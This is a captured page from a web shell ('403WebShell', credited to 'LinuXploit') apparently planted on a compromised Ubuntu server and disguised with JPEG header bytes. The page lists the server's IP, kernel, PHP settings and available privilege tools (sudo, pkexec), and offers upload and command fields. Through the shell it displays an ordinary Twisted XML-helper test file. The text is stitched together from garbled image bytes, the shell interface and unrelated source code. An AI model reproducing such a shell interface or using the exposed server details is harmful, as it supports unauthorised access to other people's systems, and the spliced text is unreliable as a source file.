����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.129.216.70
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/web/test/test_domhelpers.py
# -*- test-case-name: twisted.web.test.test_domhelpers -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Specific tests for (some of) the methods in L{twisted.web.domhelpers}.
"""

from xml.dom import minidom

from twisted.python.compat import unicode
from twisted.trial.unittest import TestCase
from twisted.web import domhelpers, microdom


class DOMHelpersTestsMixin:
    """
    A mixin for L{TestCase} subclasses which defines test methods for
    domhelpers functionality based on a DOM creation function provided by a
    subclass.
    """
    dom = None

    def test_getElementsByTagName(self):
        doc1 = self.dom.parseString('<foo/>')
        actual = domhelpers.getElementsByTagName(doc1, 'foo')[0].nodeName
        expected = 'foo'
        self.assertEqual(actual, expected)
        el1 = doc1.documentElement
        actual = domhelpers.getElementsByTagName(el1, 'foo')[0].nodeName
        self.assertEqual(actual, expected)

        doc2_xml = '<a><foo in="a"/><b><foo in="b"/></b><c><foo in="c"/></c><foo in="d"/><foo in="ef"/><g><foo in="g"/><h><foo in="h"/></h></g></a>'
        doc2 = self.dom.parseString(doc2_xml)
        tag_list = domhelpers.getElementsByTagName(doc2, 'foo')
        actual = ''.join([node.getAttribute('in') for node in tag_list])
        expected = 'abcdefgh'
        self.assertEqual(actual, expected)
        el2 = doc2.documentElement
        tag_list = domhelpers.getElementsByTagName(el2, 'foo')
        actual = ''.join([node.getAttribute('in') for node in tag_list])
        self.assertEqual(actual, expected)

        doc3_xml = '''
<a><foo in="a"/>
    <b><foo in="b"/>
        <d><foo in="d"/>
            <g><foo in="g"/></g>
            <h><foo in="h"/></h>
        </d>
        <e><foo in="e"/>
            <i><foo in="i"/></i>
        </e>
    </b>
    <c><foo in="c"/>
        <f><foo in="f"/>
            <j><foo in="j"/></j>
        </f>
    </c>
</a>'''
        doc3 = self.dom.parseString(doc3_xml)
        tag_list = domhelpers.getElementsByTagName(doc3, 'foo')
        actual = ''.join([node.getAttribute('in') for node in tag_list])
        expected = 'abdgheicfj'
        self.assertEqual(actual, expected)
        el3 = doc3.documentElement
        tag_list = domhelpers.getElementsByTagName(el3, 'foo')
        actual = ''.join([node.getAttribute('in') for node in tag_list])
        self.assertEqual(actual, expected)

        doc4_xml = '<foo><bar></bar><baz><foo/></baz></foo>'
        doc4 = self.dom.parseString(doc4_xml)
        actual = domhelpers.getElementsByTagName(doc4, 'foo')
        root = doc4.documentElement
        expected = [root, root.childNodes[-1].childNodes[0]]
        self.assertEqual(actual, expected)
        actual = domhelpers.getElementsByTagName(root, 'foo')
        self.assertEqual(actual, expected)


    def test_gatherTextNodes(self):
        doc1 = self.dom.parseString('<a>foo</a>')
        actual = domhelpers.gatherTextNodes(doc1)
        expected = 'foo'
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc1.documentElement)
        self.assertEqual(actual, expected)

        doc2_xml = '<a>a<b>b</b><c>c</c>def<g>g<h>h</h></g></a>'
        doc2 = self.dom.parseString(doc2_xml)
        actual = domhelpers.gatherTextNodes(doc2)
        expected = 'abcdefgh'
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc2.documentElement)
        self.assertEqual(actual, expected)

        doc3_xml = ('<a>a<b>b<d>d<g>g</g><h>h</h></d><e>e<i>i</i></e></b>' +
                    '<c>c<f>f<j>j</j></f></c></a>')
        doc3 = self.dom.parseString(doc3_xml)
        actual = domhelpers.gatherTextNodes(doc3)
        expected = 'abdgheicfj'
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc3.documentElement)
        self.assertEqual(actual, expected)


    def test_clearNode(self):
        doc1 = self.dom.parseString('<a><b><c><d/></c></b></a>')
        a_node = doc1.documentElement
        domhelpers.clearNode(a_node)
        self.assertEqual(
            a_node.toxml(),
            self.dom.Element('a').toxml())

        doc2 = self.dom.parseString('<a><b><c><d/></c></b></a>')
        b_node = doc2.documentElement.childNodes[0]
        domhelpers.clearNode(b_node)
        actual = doc2.documentElement.toxml()
        expected = self.dom.Element('a')
        expected.appendChild(self.dom.Element('b'))
        self.assertEqual(actual, expected.toxml())


    def test_get(self):
        doc1 = self.dom.parseString('<a><b id="bar"/><c class="foo"/></a>')
        doc = self.dom.Document()
        node = domhelpers.get(doc1, "foo")
        actual = node.toxml()
        expected = doc.createElement('c')
        expected.setAttribute('class', 'foo')
        self.assertEqual(actual, expected.toxml())

        node = domhelpers.get(doc1, "bar")
        actual = node.toxml()
        expected = doc.createElement('b')
        expected.setAttribute('id', 'bar')
        self.assertEqual(actual, expected.toxml())

        self.assertRaises(domhelpers.NodeLookupError,
                          domhelpers.get,
                          doc1,
                          "pzork")


    def test_getIfExists(self):
        doc1 = self.dom.parseString('<a><b id="bar"/><c class="foo"/></a>')
        doc = self.dom.Document()
        node = domhelpers.getIfExists(doc1, "foo")
        actual = node.toxml()
        expected = doc.createElement('c')
        expected.setAttribute('class', 'foo')
        self.assertEqual(actual, expected.toxml())

        node = domhelpers.getIfExists(doc1, "pzork")
        self.assertIdentical(node, None)


    def test_getAndClear(self):
        doc1 = self.dom.parseString('<a><b id="foo"><c></c></b></a>')
        doc = self.dom.Document()
        node = domhelpers.getAndClear(doc1, "foo")
        actual = node.toxml()
        expected = doc.createElement('b')
        expected.setAttribute('id', 'foo')
        self.assertEqual(actual, expected.toxml())


    def test_locateNodes(self):
        doc1 = self.dom.parseString('<a><b foo="olive"><c foo="olive"/></b><d foo="poopy"/></a>')
        doc = self.dom.Document()
        node_list = domhelpers.locateNodes(
            doc1.childNodes, 'foo', 'olive', noNesting=1)
        actual = ''.join([node.toxml() for node in node_list])
        expected = doc.createElement('b')
        expected.setAttribute('foo', 'olive')
        c = doc.createElement('c')
        c.setAttribute('foo', 'olive')
        expected.appendChild(c)

        self.assertEqual(actual, expected.toxml())

        node_list = domhelpers.locateNodes(
            doc1.childNodes, 'foo', 'olive', noNesting=0)
        actual = ''.join([node.toxml() for node in node_list])
        self.assertEqual(actual, expected.toxml() + c.toxml())


    def test_getParents(self):
        doc1 = self.dom.parseString('<a><b><c><d/></c><e/></b><f/></a>')
        node_list = domhelpers.getParents(
            doc1.childNodes[0].childNodes[0].childNodes[0])
        actual = ''.join([node.tagName for node in node_list
                          if hasattr(node, 'tagName')])
        self.assertEqual(actual, 'cba')


    def test_findElementsWithAttribute(self):
        doc1 = self.dom.parseString('<a foo="1"><b foo="2"/><c foo="1"/><d/></a>')
        node_list = domhelpers.findElementsWithAttribute(doc1, 'foo')
        actual = ''.join([node.tagName for node in node_list])
        self.assertEqual(actual, 'abc')

        node_list = domhelpers.findElementsWithAttribute(doc1, 'foo', '1')
        actual = ''.join([node.tagName for node in node_list])
        self.assertEqual(actual, 'ac')


    def test_findNodesNamed(self):
        doc1 = self.dom.parseString('<doc><foo/><bar/><foo>a</foo></doc>')
        node_list = domhelpers.findNodesNamed(doc1, 'foo')
        actual = len(node_list)
        self.assertEqual(actual, 2)


    def test_escape(self):
        j = 'this string " contains many & characters> xml< won\'t like'
        expected = 'this string &quot; contains many &amp; characters&gt; xml&lt; won\'t like'
        self.assertEqual(domhelpers.escape(j), expected)


    def test_unescape(self):
        j = 'this string &quot; has &&amp; entities &gt; &lt; and some characters xml won\'t like<'
        expected = 'this string " has && entities > < and some characters xml won\'t like<'
        self.assertEqual(domhelpers.unescape(j), expected)


    def test_getNodeText(self):
        """
        L{getNodeText} returns the concatenation of all the text data at or
        beneath the node passed to it.
        """
        node = self.dom.parseString('<foo><bar>baz</bar><bar>quux</bar></foo>')
        self.assertEqual(domhelpers.getNodeText(node), "bazquux")



class MicroDOMHelpersTests(DOMHelpersTestsMixin, TestCase):
    dom = microdom

    def test_gatherTextNodesDropsWhitespace(self):
        """
        Microdom discards whitespace-only text nodes, so L{gatherTextNodes}
        returns only the text from nodes which had non-whitespace characters.
        """
        doc4_xml = '''<html>
  <head>
  </head>
  <body>
    stuff
  </body>
</html>
'''
        doc4 = self.dom.parseString(doc4_xml)
        actual = domhelpers.gatherTextNodes(doc4)
        expected = '\n    stuff\n  '
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc4.documentElement)
        self.assertEqual(actual, expected)


    def test_textEntitiesNotDecoded(self):
        """
        Microdom does not decode entities in text nodes.
        """
        doc5_xml = '<x>Souffl&amp;</x>'
        doc5 = self.dom.parseString(doc5_xml)
        actual = domhelpers.gatherTextNodes(doc5)
        expected = 'Souffl&amp;'
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc5.documentElement)
        self.assertEqual(actual, expected)



class MiniDOMHelpersTests(DOMHelpersTestsMixin, TestCase):
    dom = minidom

    def test_textEntitiesDecoded(self):
        """
        Minidom does decode entities in text nodes.
        """
        doc5_xml = '<x>Souffl&amp;</x>'
        doc5 = self.dom.parseString(doc5_xml)
        actual = domhelpers.gatherTextNodes(doc5)
        expected = 'Souffl&'
        self.assertEqual(actual, expected)
        actual = domhelpers.gatherTextNodes(doc5.documentElement)
        self.assertEqual(actual, expected)


    def test_getNodeUnicodeText(self):
        """
        L{domhelpers.getNodeText} returns a C{unicode} string when text
        nodes are represented in the DOM with unicode, whether or not there
        are non-ASCII characters present.
        """
        node = self.dom.parseString("<foo>bar</foo>")
        text = domhelpers.getNodeText(node)
        self.assertEqual(text, u"bar")
        self.assertIsInstance(text, unicode)

        node = self.dom.parseString(u"<foo>\N{SNOWMAN}</foo>".encode('utf-8'))
        text = domhelpers.getNodeText(node)
        self.assertEqual(text, u"\N{SNOWMAN}")
        self.assertIsInstance(text, unicode)

Youez - 2016 - github.com/yon3zu
LinuXploit